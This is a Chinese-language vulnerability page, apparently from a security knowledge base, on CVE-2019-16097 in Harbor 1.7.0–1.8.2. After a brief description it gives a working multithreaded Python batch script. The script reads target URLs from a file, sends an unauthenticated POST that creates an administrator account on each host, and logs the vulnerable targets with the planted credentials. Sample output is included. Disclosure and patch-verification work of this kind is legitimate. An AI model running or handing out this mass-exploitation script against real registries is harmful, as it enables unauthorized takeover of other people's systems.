menu arrow_back 湛蓝安全空间 |狂野湛蓝,暴躁每天 chevron_right ... chevron_right 060-Harbor chevron_right 001-CVE-2019-16097 Harbor未授权创建管理员漏洞.md
  • home 首页
  • brightness_4 暗黑模式
  • cloud
    xLIYhHS7e34ez7Ma
    cloud
    湛蓝安全
    code
    Github
    001-CVE-2019-16097 Harbor未授权创建管理员漏洞.md
    2.59 KB / 2021-07-17 00:01:20
        # CVE-2019-16097 Harbor未授权创建管理员漏洞
    
    ### 一、漏洞简介
    
    近日,镜像仓库Harbor爆出任意管理员注册漏洞,攻击者在请求中构造特定字符串,在未授权的情况下可以直接创建管理员账号,从而接管Harbor镜像仓库。我们得到消息,第一时间对该漏洞进了验证,官方已发布公告说明,最新的1.7.6和1.8.3已修复此漏洞,请使用到的用户尽快升级至安全版本。
    
    Harbor是一个用于存储和分发Docker镜像的企业级Registry服务器。Harbor 1.7.0版本至1.8.2版本中的core/api/user.go文件存在安全漏洞。攻击者通过在请求中添加关键参数,即可利用该漏洞创建管理员账户,从而接管Harbor镜像仓库。
    
    ### 二、影响范围
    
    Harbor 1.7.0版本至1.8.2
    
    ### 三、复现过程
    
    https://github.com/ianxtianxt/CVE-2019-16097
    
    **批量漏洞利用脚本**
    
    cve-2019-16097-batch.py:
    
    
    ```python
    #!/usr/bin/env python
    # -*- coding:utf-8 -*-
    # author:rocky
    # datetime:2019-09-21 00:43
    # software: PyCharm
    
    
    import requests
    import logging
    import threading
    
    __author__ = 'rocky'
    __date__ = '2019/9/21'
    
    
    def poc(url):
        bug_url = url + "/api/users"
        payload = '{"username":"test","email":"[email protected]","realname":"test","password":"qq123123","comment":"1","has_admin_role":true}'
        header = {"Content-Type": "application/json", "Accept": "application/json"}
        try:
            r = requests.post(bug_url, data=payload, headers=header, timeout=10)
            print bug_url
            print r.status_code
            if r.status_code == 201:
                print "[!] This URL is Vulnerable !"
                print "[!] username: test   password: qq123123"
    
                f.write(url + "[!] This URL is Vulnerable ! [!] username: test   password: qq123123 " + "\n")
            else:
                print "[-] It's nothing."
    
        except Exception as e:
            logging.warning(bug_url)
            print e
    
    
    if __name__ == '__main__':
        print "CVE-2019-16097-batch"
        print "author: " + __author__
        print "date: " + __date__
        f = open("result.txt", "a")
        url_list = [i.replace("\n", "") for i in open("url.txt", "r").readlines()]
        for url in url_list:
            threading.Thread(target=poc, args=(url,)).start()
            while 1:
                if (len(threading.enumerate()) < 50):
                    break
    ```
    
    result.txt:
    
    
    ```
    http://192.168.50.233[!] This URL is Vulnerable ! [!] username: test   password: qq123123 
    ```
    
    url:
    
    
    ```
    http://192.168.50.233
    ```
    
    在 url.txt文件 批量添加目标地址
    
    `http://1.1.1.1 http://2.2.2.2`
    
    使用python 运行 此脚本 在 result.txt 可以看到最终的验证结果
    
    links
    file_download